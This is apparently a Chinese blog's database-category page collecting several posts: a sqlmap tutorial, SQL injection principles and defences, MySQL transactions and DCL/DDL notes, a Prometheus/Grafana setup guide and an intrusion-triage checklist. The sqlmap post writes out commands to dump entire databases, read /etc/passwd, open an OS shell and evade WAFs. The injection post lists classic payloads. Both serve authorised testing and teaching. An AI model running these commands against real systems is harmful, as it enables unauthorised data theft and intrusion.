数据库 on SoulJian小站

sqlmap 使用与 SQL 注入自动化实战

Sat, 29 Aug 2026 14:40:00 +0800

写在前面：合法学习边界

sqlmap 只用于授权靶场或明确授权的目标。对真实系统跑全功能注入、拖库可能触犯法律。

一、工具定位

sqlmap 是自动化检测和利用 SQL 注入的工具，支持多种注入类型：

1
2
3
4


基于布尔/时间/报错的盲注
联合查询、堆叠查询
POST/Header/Cookie 注入
数据库指纹、脱库、读写文件

二、基础用法

第一步：验证注入点

1

sqlmap -u "http://目标/get.php?id=1" --batch

--batch 全自动确认，会检测是否存在注入、识别数据库类型。

指定注入方式与等级

1
2
3
4
5
6


# 提高检测等级（更多测试点、更慢）
sqlmap -u "http://目标/?id=1" --level 3 --risk 2
# POST 注入
sqlmap -u "http://目标/login" --data "user=1&pass=1"
# Header/Cookie 注入
sqlmap -u "http://目标/" --headers "X-Forwarded-For: 1*"

控制注入类型

1
2
3


# 只测布尔/时间盲注（不出网场景）
sqlmap -u "http://目标/?id=1" --technique BT
# 技术选项：B布尔 E报错 U联合 S堆叠 T时间

三、脱库流程

枚举数据库

1

sqlmap -u "http://目标/?id=1" --dbs

枚举表与字段

1
2


sqlmap -u "http://目标/?id=1" -D 数据库名 --tables
sqlmap -u "http://目标/?id=1" -D 数据库名 -T 表名 --columns

导出数据

1
2
3


sqlmap -u "http://目标/?id=1" -D 数据库名 -T users --dump
# 一次全拖
sqlmap -u "http://目标/?id=1" --dump-all

断点续传与并发

1

sqlmap -u "http://目标/?id=1" -D 库 -T 表 --dump --threads 5 --batch

四、进阶与绕过

读写文件（需要文件权限）

1
2
3
4


# 读文件
sqlmap -u "http://目标/?id=1" --file-read "/etc/passwd"
# 写 webshell
sqlmap -u "http://目标/?id=1" --os-shell

绕过 WAF / 特征

1
2
3
4


--random-agent # 随机 UA
--tamper=space2comment # 空格替换注释等绕过
--delay=1 # 限速降低告警
--time-sec=5 # 时间盲注延时

从请求文件跑

1
2


# 先抓包存到 req.txt，再导入
sqlmap -r req.txt --batch

五、常见误区

1
2
3
4


一上来就 --dump-all，流量大又慢
不确认注入类型就全技术跑
忽略数据库账号权限，以为万能
不懂注入原理，只会套命令

六、检测与防御（对立面）

1
2
3
4
5


参数化查询 / 预处理（根本）
WAF 拦截注入特征
最小权限数据库账号
错误信息不回显
对异常长参数、注入关键字告警

七、小结

sqlmap 能省大量时间，但它只是工具。真正决定成败的是：注入点在哪个参数、数据库什么权限、能不能出网、要不要绕过。先手动确认注入，再让 sqlmap 自动化，才是正确姿势。

MySQL 事务与隔离级别入门

Sat, 29 Aug 2026 10:40:00 +0800

写在前面：合法学习边界

本文讲解数据库事务原理。相关测试请在自建环境完成，不要对生产数据库执行锁表、大事务或回滚操作。

一、什么是事务

事务是把一组数据库操作打包成一个原子单元：要么全部成功，要么全部回滚。

典型场景：

1
2
3


转账：扣款 + 加款
下单：减库存 + 建订单
注册：插用户 + 初始化配置

一个事务里如果有一步失败，前面的操作都要能回滚，不能留下“只扣了钱没加钱”的半成品状态。

二、ACID 是什么

1
2
3
4


A（原子性）：要么全做，要么全不做
C（一致性）：执行前后数据状态都符合约束
I（隔离性）：并发事务之间互相隔离
D（持久性）：提交后数据不丢

初学者最容易忽略的是 I（隔离性）：多个事务同时跑的时候，怎么保证彼此看不到中间态。

三、并发会带来哪些问题

1. 脏读

事务 A 修改了数据但还没提交，事务 B 读到了这个未提交的值。A 一旦回滚，B 读到的是“不存在的数据”。

1

B 读到了 A 未提交的修改 → 脏读

2. 不可重复读

同一个事务里，两次读同一行，结果不一样。

1
2
3


事务内第一次读到 v1
期间别的事务提交了修改
事务内第二次读到 v2

3. 幻读

同一个事务里，两次查询同一范围，多出来（或消失）了行。

1
2
3


第一次查，符合条件有 2 行
别的事务插入了一行并提交
第二次查，变成 3 行

四、MySQL 的隔离级别

1
2
3
4


READ UNCOMMITTED：可以读未提交 → 可能脏读
READ COMMITTED：只能读已提交 → 避免脏读，仍可能不可重复读
REPEATABLE READ：事务内读结果一致 → 避免不可重复读（MySQL 默认）
SERIALIZABLE：完全串行 → 最强隔离，性能最低

InnoDB 默认是 REPEATABLE READ，配合 MVCC 能解决大部分不可重复读问题，但幻读仍可能出现在特定范围查询中。

五、防御与使用建议

1
2
3
4
5


事务尽量短，减少锁持有时间
按需选择隔离级别，不无脑 SERIALIZABLE
大事务拆小，避免长时间锁表
关键数据加唯一约束兜底
对慢事务、长事务做监控

六、小结

事务不是“用了就安全”，隔离级别决定了并发下的可见性。理解脏读、不可重复读、幻读三种异常和 MySQL 的隔离级别，才能解释为什么有时会读到“奇怪”的数据。

SQL 注入原理与防御

Sat, 29 Aug 2026 04:35:00 +0800

写在前面：合法学习边界

本文讲解 SQL 注入的原理与防御。所有示例都用于理解漏洞形成过程，不代表你可以对真实网站、数据库或企业系统实施攻击。漏洞验证必须在自建靶场、公司授权测试环境或明确书面授权的目标上完成。未经授权访问、篡改、读取数据库数据可能触犯《网络安全法》《数据安全法》《个人信息保护法》和《刑法》相关规定。

一、为什么 SQL 注入一直是高频漏洞

SQL 注入的本质是：程序把用户输入拼接到 SQL 语句里，数据库把这段输入当成 SQL 代码执行了。

很多开发者写查询时会这样想：

1

SELECT * FROM users WHERE username = 'admin'

如果后端直接拼接用户输入：

1

SELECT * FROM users WHERE username = '" + username + "'"

而用户输入：

1

admin' OR '1'='1

最终可能变成：

1

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

数据库会把它理解成一个永远为真的条件，从而绕过登录判断。

安全学习的关键不是记住 ' OR 1=1，而是理解：

1

输入没有被当作数据，而被当成了逻辑或命令的一部分

二、SQL 注入的常见类型

1. 基于错误的注入

数据库返回错误信息，泄露表名、字段名、SQL 结构甚至系统路径。

例子：

1

Unknown column 'id' in 'field list'

这种报错通常说明数据库参数、字段或查询结构有问题，但真正利用需要授权环境。

2. 基于布尔盲注

页面只有两种状态，比如成功/失败、有数据/无数据。攻击者通过构造条件逐位猜解信息。

例如：

1
2


id=1 AND 1=1
id=1 AND 1=2

通过页面差异判断条件真假。

3. 基于时间盲注

页面没有明显差异，但响应时间不同。常见做法是构造慢查询条件。

例如：

1

id=1 AND SLEEP(5)

这类技术需要谨慎理解，真实使用只能在授权靶场。

4. 基于联合查询的注入

当查询结果被直接展示在页面上，攻击者可能尝试把其他表的数据带进页面。

典型结构是：

1

UNION SELECT table_name FROM information_schema.tables

这是理解原理时的常见写法，不能直接在真实网站执行。

三、为什么很多系统会中招

SQL 注入往往不是单点问题，而是工程习惯问题。

常见原因包括：

1
2
3
4
5
6


拼接 SQL
没有统一输入处理
没有最小权限数据库账号
错误信息直接暴露给用户
没有 WAF 或日志审计
代码复用多个查询模板

尤其是老系统、后台系统、导出功能、搜索功能和订单查询功能，都容易出现输入直接进入查询的地方。

影响与危害

SQL 注入能造成：

1
2
3
4


登录绕过
数据库数据泄露（脱库）
篡改数据
执行系统命令（配合堆叠查询/存储过程）

严重时直接导致整个数据库甚至服务器沦陷。风险等级：高到严重。

四、防御思路

1. 参数化查询

这是最有效、最通用的防御方式。核心思想是把参数交给驱动，而不是拼接字符串。

伪代码：

1
2


query = "SELECT * FROM users WHERE username = ?"
params = [username]

不要把用户输入直接拼进 SQL 文本。

2. 输入校验

输入校验能减少风险，但不应成为唯一防线。正确做法是：

1
2
3
4


限制格式
限制长度
限制枚举值
按业务校验类型

但真正的安全边界应该在数据库访问层。

3. 最小权限

数据库账号不要直接给管理员权限。只给应用真正需要的权限，例如：

1
2
3


SELECT
INSERT
UPDATE

不要给：

1
2
3
4
5


GRANT
FILE
SUPER
DROP
ALTER

4. 错误信息控制

生产环境不要把原始 SQL 错误、堆栈和数据库结构直接展示给用户。应该记录服务端日志，对用户返回友好错误。

5. 审计和监控

关注这些现象：

1
2
3
4


参数中频繁出现 SQL 关键字
大量 500 错误
登录失败后请求模式异常
导出接口被频繁调用

修复

1
2
3
4
5


改用参数化查询/预处理语句（最根本）
数据库账号最小权限，禁用 FILE/SUPER 等
关闭错误信息回显
对历史代码排查拼接 SQL
修复后复测：拼接 payload 不再生效

五、SQL 注入在报告中的正确写法

好的报告需要说清证据、影响和建议。

示例：

1
2
3


发现：搜索参数 q 的值会拼接到 SQL 查询，错误页面显示原始 SQL 片段。
风险：可能导致登录绕过、数据泄露、条件查询异常。
建议：改为参数化查询；限制数据库账号权限；关闭错误信息泄露；补充 WAF 与日志审计。

不要只写“存在 SQL 注入风险”，要有验证依据。

六、小结

SQL 注入的核心不是工具，而是输入与查询边界。凡是用户输入最终进入 SQL 的地方，都要优先采用参数化查询、最小权限和错误控制。理解了这个边界，XSS、SSRF、文件上传和日志分析也会更容易看懂。

Prometheus+Grafana 监控系统搭建

Thu, 22 Jan 2026 15:23:33 +0800

一、Prometheus 监控框架介绍

1.1 核心概述

Prometheus 是谷歌开源的监控软件，采用 Golang 开发，通过部署在目标机器上的 Exporter 采集异构数据，统一转化为标准格式后通过 HTTP 协议传输至服务端，存储在本地时序数据库中。前端搭配 Grafana 实现数据可视化，广泛支持 Kubernetes、容器、OpenStack 等云原生环境及传统服务器、中间件监控。

1.2 Exporter 工作原理

Exporter 可理解为监控适配器，针对不同监控目标提供专属实现：

Node Exporter：读取 Linux /proc//sys 目录文件，获取操作系统运行状态
MySQL Exporter：通过读取数据库监控表采集 MySQL 性能数据
Redis Exporter：通过 Redis 命令行接口获取缓存服务指标
WMI Exporter：适配 Windows 系统，采集系统资源与服务状态

二、环境准备

角色	IP 地址	系统版本	核心组件
Prometheus 服务端	192.168.2.45	Ubuntu 20.04/18.04	Prometheus、Grafana
客户端（被监控端）	192.168.2.44	Ubuntu 20.04/18.04	Node Exporter、MySQL Exporter、Redis Exporter
Windows 客户端	192.168.2.125	Windows Server 2008+	WMI Exporter

依赖安装（Ubuntu 通用）

1
2
3
4


# 更新软件源
sudo apt update && sudo apt upgrade -y
# 安装必要依赖
sudo apt install -y wget tar curl fontconfig init-system-helpers

三、Prometheus 服务端安装配置（Ubuntu）

3.1 下载与解压

1
2
3
4
5
6


# 下载 Prometheus（当前稳定版 v2.25.0）
wget https://github.com/prometheus/prometheus/releases/download/v2.25.0/prometheus-2.25.0.linux-amd64.tar.gz
# 解压到 /usr/local 目录
sudo tar xf prometheus-2.25.0.linux-amd64.tar.gz -C /usr/local/
# 重命名简化目录
sudo mv /usr/local/prometheus-2.25.0.linux-amd64/ /usr/local/prometheus

3.2 配置文件说明（prometheus.yml）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


# 全局配置
global:
 scrape_interval: 15s  # 默认数据采集间隔，默认1分钟
 evaluation_interval: 15s  # 规则评估间隔，默认1分钟

# 告警管理器配置（暂不启用）
alerting:
 alertmanagers:
 - static_configs:
 - targets:
 # - alertmanager:9093

# 规则文件加载（暂不配置）
rule_files:
 # - "first_rules.yml"

# 采集配置
scrape_configs:
 # 监控 Prometheus 自身
 - job_name: 'prometheus'
 scrape_interval: 5s  # 覆盖全局采集间隔
 static_configs:
 - targets: ['192.168.2.45:9090'] # 服务端地址:端口

3.3 启动服务

方式1：临时启动

1
2


cd /usr/local/prometheus
sudo ./prometheus --config.file=prometheus.yml

方式2：配置系统服务（推荐，Ubuntu 16.04+）

1
2


# 创建服务文件
sudo vim /etc/systemd/system/prometheus.service

写入以下内容：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


[Unit]
Description=Prometheus Monitoring System
Documentation=https://prometheus.io/docs/
After=network.target

[Service]
Restart=on-failure
ExecStart=/usr/local/prometheus/prometheus \
 --config.file=/usr/local/prometheus/prometheus.yml \
 --web.listen-address=:9090 \
 --storage.tsdb.path=/usr/local/prometheus/data \
 --storage.tsdb.retention=15d \
 --web.enable-lifecycle

[Install]
WantedBy=multi-user.target

启动并设置开机自启：

1
2
3
4
5
6
7
8


# 重新加载系统服务
sudo systemctl daemon-reload
# 启动 Prometheus
sudo systemctl start prometheus
# 设置开机自启
sudo systemctl enable prometheus
# 查看服务状态
sudo systemctl status prometheus

3.4 验证访问

访问地址：http://192.168.2.45:9090（Ubuntu 需确保 9090 端口开放）
查看指标：http://192.168.2.45:9090/metrics
防火墙配置（如需）：
1

sudo ufw allow 9090/tcp

四、客户端监控配置（Ubuntu）

4.1 监控 Linux 主机（Node Exporter）

4.1.1 安装 Node Exporter

1
2
3
4
5


# 下载 Node Exporter v1.1.2
wget https://github.com/prometheus/node_exporter/releases/download/v1.1.2/node_exporter-1.1.2.linux-amd64.tar.gz
# 解压安装
sudo tar xf node_exporter-1.1.2.linux-amd64.tar.gz -C /usr/local/
sudo mv /usr/local/node_exporter-1.1.2.linux-amd64/ /usr/local/node_exporter

4.1.2 配置系统服务

1

sudo vim /etc/systemd/system/node_exporter.service

写入以下内容（支持监控 docker/sshd/nginx 服务）：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


[Unit]
Description=Node Exporter for Prometheus
After=network.target

[Service]
Restart=on-failure
ExecStart=/usr/local/node_exporter/node_exporter \
 --collector.systemd \
 --collector.systemd.unit-whitelist="(docker|sshd|nginx).service"

[Install]
WantedBy=multi-user.target

启动服务：

1
2
3
4
5


sudo systemctl daemon-reload
sudo systemctl start node_exporter
sudo systemctl enable node_exporter
# 验证端口（默认 9100）
sudo ss -lntp | grep 9100

4.1.3 服务端添加监控项

编辑 Prometheus 配置文件：

1

sudo vim /usr/local/prometheus/prometheus.yml

添加 Linux 主机监控配置：

1
2
3
4
5
6


scrape_configs:
 # 原有 prometheus 监控配置...

 - job_name: 'linux'
 static_configs:
 - targets: ['192.168.2.44:9100', '192.168.2.43:9100'] # 多个客户端用逗号分隔

重启 Prometheus 生效：

1

sudo systemctl restart prometheus

4.2 监控 MySQL（mysqld_exporter）

4.2.1 安装配置 Exporter

1
2
3
4
5


# 下载 mysqld_exporter v0.12.1
wget https://github.com/prometheus/mysqld_exporter/releases/download/v0.12.1/mysqld_exporter-0.12.1.linux-amd64.tar.gz
# 解压安装
sudo tar xf mysqld_exporter-0.12.1.linux-amd64.tar.gz -C /usr/local/
sudo mv /usr/local/mysqld_exporter-0.12.1.linux-amd64/ /usr/local/mysqld_exporter

创建 MySQL 连接配置：

1
2


cd /usr/local/mysqld_exporter
sudo vim .my.cnf

写入 MySQL 认证信息：

1
2
3
4
5


[client]
user=root
password=123456 # 替换为你的 MySQL 密码
host=127.0.0.1
port=3306

4.2.2 启动 Exporter

1
2
3
4


# 临时启动（后台运行）
sudo ./mysqld_exporter --config.my-cnf=".my.cnf" &
# 验证端口（默认 9104）
sudo ss -lntp | grep 9104

4.2.3 服务端添加监控配置

1
2
3
4
5
6


scrape_configs:
 # 原有配置...

 - job_name: 'mysql'
 static_configs:
 - targets: ['192.168.2.44:9104']

重启 Prometheus：

1

sudo systemctl restart prometheus

4.3 监控 Redis（redis_exporter）

4.3.1 安装 Exporter

1
2
3
4
5


# 下载 redis_exporter v0.15.0
wget https://github.com/oliver006/redis_exporter/releases/download/v0.15.0/redis_exporter-v0.15.0.linux-amd64.tar.gz
# 解压安装
sudo tar xf redis_exporter-v0.15.0.linux-amd64.tar.gz -C /usr/local/
sudo mv /usr/local/redis_exporter-v0.15.0.linux-amd64/ /usr/local/redis_exporter

4.3.2 启动 Exporter

1
2
3
4


# 连接 Redis 并启动（默认端口 9121）
sudo /usr/local/redis_exporter/redis_exporter redis://192.168.2.44:6379 &
# 验证端口
sudo ss -lntp | grep 9121

4.3.3 服务端添加监控配置

1
2
3
4
5
6


scrape_configs:
 # 原有配置...

 - job_name: 'redis'
 static_configs:
 - targets: ['192.168.2.44:9121']

重启 Prometheus：

1

sudo systemctl restart prometheus

4.4 监控 Windows 机器（WMI Exporter）

4.4.1 安装 Exporter

下载地址：https://github.com/prometheus-community/windows_exporter/releases/download/v0.16.0/windows_exporter-0.16.0-amd64.msi
双击 MSI 文件默认安装，自动创建开机自启服务
默认端口：9182

4.4.2 服务端添加监控配置

1
2
3
4
5
6


scrape_configs:
 # 原有配置...

 - job_name: 'windows'
 static_configs:
 - targets: ['192.168.2.125:9182']

重启 Prometheus：

1

sudo systemctl restart prometheus

4.5 验证监控目标

访问 Prometheus 控制台：http://192.168.2.45:9090/targets，所有监控目标状态应显示为 UP。

五、Grafana 安装与可视化配置（Ubuntu）

5.1 安装 Grafana

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 下载 Grafana v7.4.3（适配 Prometheus 稳定版）
wget https://mirrors.tuna.tsinghua.edu.cn/grafana/yum/rpm/grafana-7.4.3-1.x86_64.rpm
# 转换为 deb 包安装（Ubuntu 适用）
sudo apt install -y alien
sudo alien -i grafana-7.4.3-1.x86_64.rpm
# 启动 Grafana 并设置开机自启
sudo systemctl start grafana-server
sudo systemctl enable grafana-server
# 开放 3000 端口
sudo ufw allow 3000/tcp

5.2 初始访问与数据源配置

访问地址：http://192.168.2.45:3000
初始账号密码：admin/admin（首次登录需修改密码）

添加 Prometheus 数据源

点击左侧 Configuration → Data Sources → Add data source
选择 Prometheus 类型
配置核心参数：
- Name：Prometheus（自定义）
- URL：http://192.168.2.45:9090
- Scrape interval：15s
点击 Save & Test，显示 Data source is working 即为成功

5.3 导入 Dashboard 模板

5.3.1 Linux 系统监控模板（ID: 8919）

点击左侧 Create → Import
在 Import via grafana.com 输入模板 ID：8919
选择数据源为之前创建的 Prometheus
点击 Import 完成导入
查看 Dashboard：Dashboards → Manage → 1 Node Exporter for Prometheus Dashboard CN

5.3.2 MySQL 监控模板

下载模板文件：https://pan.baidu.com/s/12S33kZkZd9gIXF8tMHKECg（提取码：9b0s）
点击 Import → Upload JSON file，选择下载的 JSON 文件
选择 MySQL 数据源（需提前在 Grafana 中添加 MySQL 数据源）
完成导入

5.3.3 Redis 监控模板

模板下载：https://pan.baidu.com/s/1LIkVC0o3lyTT59JbX0mSpg（提取码：gf1d）
导入步骤同上，选择 Prometheus 数据源

5.3.4 Windows 监控模板（ID: 10467）

导入模板 ID：10467
选择 Prometheus 数据源
完成导入，可查看 Windows 系统 CPU、内存、磁盘等监控数据

六、常用操作与故障排查

6.1 Prometheus 配置热加载

无需重启服务，通过 API 热加载配置：

1

curl -X POST 192.168.2.45:9090/-/reload

6.2 服务状态查看

1
2
3
4
5
6


# Prometheus 状态
sudo systemctl status prometheus
# Grafana 状态
sudo systemctl status grafana-server
# Exporter 状态（以 node_exporter 为例）
sudo systemctl status node_exporter

6.3 端口占用排查

1
2
3


# 查看指定端口占用情况
sudo lsof -i :9100 # node_exporter 端口
sudo lsof -i :9090 # Prometheus 端口

6.4 日志查看

1
2
3
4


# Prometheus 日志
sudo journalctl -u prometheus -f
# Grafana 日志
sudo journalctl -u grafana-server -f

七、相关资源

Prometheus 官方下载：https://prometheus.io/download/
Exporter 集成列表：http://www.coderdocument.com/docs/prometheus/v2.14/instrumenting/exporters_and_integrations.html
Grafana 模板市场：https://grafana.com/grafana/dashboards
WMI Exporter 下载：https://github.com/prometheus-community/windows_exporter/releases

Linux/Windows 入侵排查指南

Fri, 26 Sep 2025 10:30:48 +0800

Linux/Windows 入侵排查指南

🐧 Linux 入侵排查思路

步骤	检查项目	具体操作	关键文件/命令
1	分析安全日志	检查SSH爆破和异常登录	`/var/log/secure`
2	检查系统账户	排查恶意新增用户	`/etc/passwd`
3	分析命令历史	查看恶意命令执行记录	`~/.bash_history`
4	检查Root邮箱	日志被删时的补充分析	`/var/spool/mail/root`
5	分析中间件日志	Web攻击痕迹排查	`access_log`等
6	检查登录日志	成功/失败登录分析	`last`/`lastb`
7	分析计划任务	可疑定时任务排查	`/var/log/cron`
8	分析操作历史	系统命令审计	`history`日志
9	数据库日志分析	数据库安全审计	Redis/MySQL/Oracle等日志

🪟 Windows 入侵排查思路

步骤	检查项目	具体操作	工具/命令
1	账号安全检查	弱口令、网络连接、进程分析	`Netstat`, `tasklist`
2	登录日志分析	成功/失败登录事件筛查	事件ID: 4776, 4624
3	系统账户排查	可疑账户检查	`lusrmgr.msc`
4	本地用户组检查	隐藏账户检测	`compmgmt.msc`
5	管理员行为分析	登录时间异常分析	Log Parser
6	计划任务排查	可疑定时任务检查	`taskschd.msc`
7	近期文件分析	最近访问文件检查	`%UserProfile%\Recent`
8	中间件日志分析	Web攻击痕迹排查	Tomcat/Apache日志
9	近期修改文件	文件变更时间线分析	`%UserProfile%\Recent`

🔍 排查要点说明

Linux 重点关注

/var/log/secure: SSH登录尝试、成功登录记录
/etc/passwd: UID为0的非root账户、异常shell账户
bash_history: 可疑下载、权限提升、网络连接命令

Windows 重点关注

事件日志: 重点关注安全事件ID
用户管理: 隐藏账户、克隆账户检测
计划任务: 异常定时执行任务

Mysql DCL语句使用

Wed, 30 Apr 2025 23:29:55 +0800

DCL语句(数据控制语言，用来创建数据库用户，控制数据库的访问权限)

用户管理

查询用户
- use mysql;
- select * from user;
创建用户
- create user '用户名'@'主机名' identified by '密码';
修改用户密码
- alter user '用户名''@主机名' identified with mysql_native_password by '新密码';
删除用户
- drop user '用户名'@'主机名';

注意:

主机名可以使用通配符(%)
DCL语句一般用语数据库管理人员使用

权限说明

Mysql中定义了很多种权限,但常用的就以下几种:

权限	说明
`ALL` / `ALL PRIVILEGES`	所有权限
`SELECT`	查询数据
`INSERT`	插入数据
`UPDATE`	修改数据
`DELETE`	删除数据
`ALTER`	修改表结构
`DROP`	删除数据库/表/视图
`CREATE`	创建数据库/表

权限控制

查询权限
- show grants for '用户名'@'ip白名单'
授予权限
- grant 权限列表 on 数据库名.表名 to '用户名'@'ip白名单'
撤销权限
- revoke 权限列表 on 数据库名.表名 from '用户名'@'ip白名单'

注意:

多个权限之间,使用逗号分开
授权时,数据库名和表名可以是用通配符*,代表所有

Mysql数据类型

Tue, 29 Apr 2025 23:07:44 +0800

数据类型

MySQL 数值类型

分类	类型	大小	有符号(SIGNED)范围	无符号(UNSIGNED)范围	描述
数值类型	TINYINT	1 byte	(-128, 127)	(0, 255)	小整数值
数值类型	SMALLINT	2 bytes	(-32768, 32767)	(0, 65535)	大整数值
数值类型	MEDIUMINT	3 bytes	(-8388608, 8388607)	(0, 16777215)	大整数值
数值类型	INT/INTEGER	4 bytes	(-2147483648, 2147483647)	(0, 4294967295)	大整数值
数值类型	BIGINT	8 bytes	(-2^63, 2^63-1)	(0, 2^64-1)	极大整数值
数值类型	FLOAT	4 bytes	约(-3.4E+38, 3.4E+38)	约(0, 3.4E+38)	单精度浮点数
数值类型	DOUBLE	8 bytes	约(-1.8E+308, 1.8E+308)	约(0, 1.8E+308)	双精度浮点数
数值类型	DECIMAL	可变	取决于M(精度)和D(标度)	取决于精度和标度	精确小数

MySQL 字符串类型

分类	类型	大小	描述
字符串类型	CHAR	0-255 bytes	定长字符串
字符串类型	VARCHAR	0-65535 bytes	变长字符串
字符串类型	TINYBLOB	0-255 bytes	不超过255个字符的二进制数据
字符串类型	TINYTEXT	0-255 bytes	短文本字符串
字符串类型	BLOB	0-65535 bytes	二进制形式的长文本数据
字符串类型	TEXT	0-65535 bytes	长文本数据
字符串类型	MEDIUMBLOB	0-16,777,215 bytes	二进制形式的中等长度文本数据
字符串类型	MEDIUMTEXT	0-16,777,215 bytes	中等长度文本数据
字符串类型	LONGBLOB	0-4,294,967,295 bytes	二进制形式的极大文本数据
字符串类型	LONGTEXT	0-4,294,967,295 bytes	极大文本数据

MySQL 日期和时间类型

分类	类型	大小(字节)	范围	格式	描述
日期类型	DATE	3	1000-01-01 至 9999-12-31	YYYY-MM-DD	纯日期值
日期类型	TIME	3	-838:59:59 至 838:59:59	HH:MM:SS	时间值或持续时间
日期类型	YEAR	1	1901 至 2155	YYYY	年份值
日期类型	DATETIME	8	1000-01-01 00:00:00 至 9999-12-31 23:59:59	YYYY-MM-DD HH:MM:SS	混合日期和时间值
日期类型	TIMESTAMP	4	1970-01-01 00:00:01 至 2038-01-19 03:14:07	YYYY-MM-DD HH:MM:SS	时间戳（自动时区转换）

Mysql DDL语句使用

Tue, 29 Apr 2025 23:05:43 +0800

DDL语句(数据定义语言，用来定义数据库中的（数据库、表、字段))

DDL语句操作数据库

查询：

查询所有数据库 show databases;
查询当前数据库select database();

创建

创建crrate database [if not exists] 数据库名 [default charset]字符集[collate]排序规则

删除

删除drop database [if exists]数据库名

使用

使用use 数据库名

DDL语句-操作表

创建表

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


create table 表名(
字段1 字段1类型[COMMENT 字段1注释],
字段2 字段2类型[COMMENT 字段2注释],
字段3 字段3类型[COMMENT 字段3注释],
...
字段n 字段n类型[COMMENT 字段n注释]

)[COMMENT 表注释];

注意: ...为可选参数,最后一个字段后面没有逗号

修改表

添加字段 alter table 表名 add 字段名类型(长度) [comment 注释][约束];
修改数据类型alter table 表名 modify 字段名新数据类型(长度)
修改字段名的字段类型alter table 表名 change 旧字段名新字段名类型(长度)[comment 注释][约束]
删除字段alter table 表名 drop 字段名
修改表名alter table 表名 rename to 新表名

查询表

查询当前数据库所有表show tables;
查询表结构 desc 表名
查询指定表的建表语句show create table 表名

删除表

清空表内数据(删除表并重新创建新表)truncate table 表名
删除指定表表drop table[if exists]表名